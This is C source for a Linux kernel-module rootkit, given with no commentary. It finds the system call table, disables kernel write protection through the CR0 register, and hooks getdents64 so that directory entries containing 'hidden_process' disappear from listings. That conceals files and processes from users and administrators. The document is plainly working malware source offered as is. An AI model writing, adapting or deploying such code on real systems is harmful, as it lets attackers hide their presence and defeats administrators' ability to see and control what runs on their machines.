#include <linux/module.h>

#include <linux/kernel.h>

#include <linux/sched.h>

#include <linux/syscalls.h>

unsigned long \*\*sys\_call\_table;

asmlinkage long (\*original\_getdents)(unsigned int, struct linux\_dirent64 \*, unsigned int);

asmlinkage long hooked\_getdents(unsigned int fd, struct linux\_dirent64 \*dirp, unsigned int count) {

long ret = original\_getdents(fd, dirp, count);

struct linux\_dirent64 \*d;

int bpos = 0;

for (bpos = 0; bpos < ret;) {

d = (struct linux\_dirent64 \*)((char \*)dirp + bpos);

if (strstr(d->d\_name, "hidden\_process")) {

memmove(d, (char \*)d + d->d\_reclen, ret - bpos - d->d\_reclen);

ret -= d->d\_reclen;

} else {

bpos += d->d\_reclen;

}

}

return ret;

}

static int \_\_init rootkit\_init(void) {

sys\_call\_table = (unsigned long \*\*)kallsyms\_lookup\_name("sys\_call\_table");

write\_cr0(read\_cr0() & (~0x10000));

original\_getdents = (void \*)sys\_call\_table[\_\_NR\_getdents64];

sys\_call\_table[\_\_NR\_getdents64] = (unsigned long \*)hooked\_getdents;

write\_cr0(read\_cr0() | 0x10000);

return 0;

}

static void \_\_exit rootkit\_exit(void) {

write\_cr0(read\_cr0() & (~0x10000));

sys\_call\_table[\_\_NR\_getdents64] = (unsigned long \*)original\_getdents;

write\_cr0(read\_cr0() | 0x10000);

}

module\_init(rootkit\_init);

module\_exit(rootkit\_exit);

MODULE\_LICENSE("GPL");